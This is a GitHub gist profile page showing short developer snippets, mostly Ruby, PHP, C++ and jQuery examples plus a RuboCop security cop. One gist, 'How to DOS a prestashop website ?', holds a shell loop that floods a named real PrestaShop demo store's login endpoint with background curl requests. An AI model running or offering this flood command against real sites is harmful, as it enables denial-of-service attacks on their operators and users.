Skip to content

Instantly share code, notes, and snippets.

🚗
Hello

Adrien S Intrepidd

View GitHub Profile
View cop.rb
class RuboCop::Cop::Security::LinkToBlank < RuboCop::Cop::Cop
MSG = 'Specify a `:rel` option containing noopener.'.freeze
def_node_matcher :link_to?, <<-PATTERN
(send nil? :link_to ...)
PATTERN
def_node_matcher :blank_target?, <<-PATTERN
(pair {(sym :target) (str "target")} (str "_blank"))
PATTERN
@Intrepidd
Intrepidd / gist:4054741
Created Nov 11, 2012
How to DOS a prestashop website ?
View gist:4054741
while true; do curl -F 'back=my-account&email=lol@lol.com&passwd=lalala42&SubmitLogin=toto' 'http://demo-store.prestashop.com/en/index.php?controller=authentication' -H "Content-Type:application/x-www-form-urlencoded" &;done
@Intrepidd
Intrepidd / test.rb
Created Aug 23, 2012 — forked from ys/My_first_thought.rb
How would you align these kind of things in Ruby?
View test.rb
local_var.method_with_hash_and_block(
mandatory_param,
option_1: a,
option_2: blabla,
option_3: blablablablablabla,
option_4: bblablablablablablablabla,
option_5: bblablablabla) do |v|
d = v.bla
e = v.bla
end
@Intrepidd
Intrepidd / example.rb
Created Aug 8, 2012
Case sensivity search for active record
View example.rb
Model.where('my_string LIKE BINARY ?', "This is a Test String")
@Intrepidd
Intrepidd / gist:2409377
Created Apr 17, 2012
Demo of my gem rails-canhaz
View gist:2409377
user = User.find(42)
article = Article.find(1337)
user.can?(:read, article) # Can the user read this article? false for now
user.can(:read, article) # Ok, so the user can read this article
user.can(:edit, article) # He can edit it as well
user.can?(:read, article) # Will be true
View gist:1718685
#include <iostream>
class Dad
{
public:
Dad()
{
this->hello();
}
@Intrepidd
Intrepidd / gist:1307618
Created Oct 23, 2011
Facebook delete all apps, quite uggly.
View gist:1307618
// Assuming you have Jquerified the page
// http://www.learningjquery.com/2009/04/better-stronger-safer-jquerify-bookmarklet
function deleteApp(tab, index) {
tab[index].click();
setTimeout(function() {
$jq("input[name=remove]").click();
setTimeout(function() {
$jq("input[name=ok]").click();
if (tab[index + 1]) {
View gist:1149818
php -v :
Warning: PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/gv.so' - /usr/lib64/php/modules/gv.so: undefined symbol: zend_error_noreturn in Unknown on line 0
PHP 5.3.6 (cli) (built: Mar 23 2011 13:12:50)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
Fedora 15
View gist:1090844
<?php
class ParentClass {
protected $a = 1;
public function doSomething() {
echo "I'm the parent";
$this->a = 2;
}
}
You can’t perform that action at this time.